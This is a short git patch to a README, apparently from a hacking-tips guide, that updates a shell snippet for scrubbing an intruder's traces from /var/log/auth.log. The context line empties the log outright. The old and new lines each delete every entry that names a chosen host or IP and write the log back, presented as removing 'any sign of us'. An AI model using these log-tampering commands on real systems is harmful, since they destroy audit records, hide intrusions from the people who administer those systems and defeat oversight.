From 42eac802ebcc115d5f6a9af5cf7cb4a956028342 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Wed, 17 May 2023 11:05:52 +0100 Subject: [PATCH] Update README.md --- README.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 847f905..bbec475 100644 --- a/README.md +++ b/README.md @@ -1128,8 +1128,10 @@ cat /dev/null >/var/log/auth.log This will remove any sign of us from the log file: ```sh -cd /dev/shm -grep -Fv 'thc.org' /var/log/auth.log >a.log; cat a.log >/var/log/auth.log; rm -f a.log +#DEL=thc.org +DEL=1.2.3.4 +LOG=/var/log/auth.log +IFS="" a=$(sed "/${DEL}/d" <"${LOG}") && echo "$a">"${LOG}" ```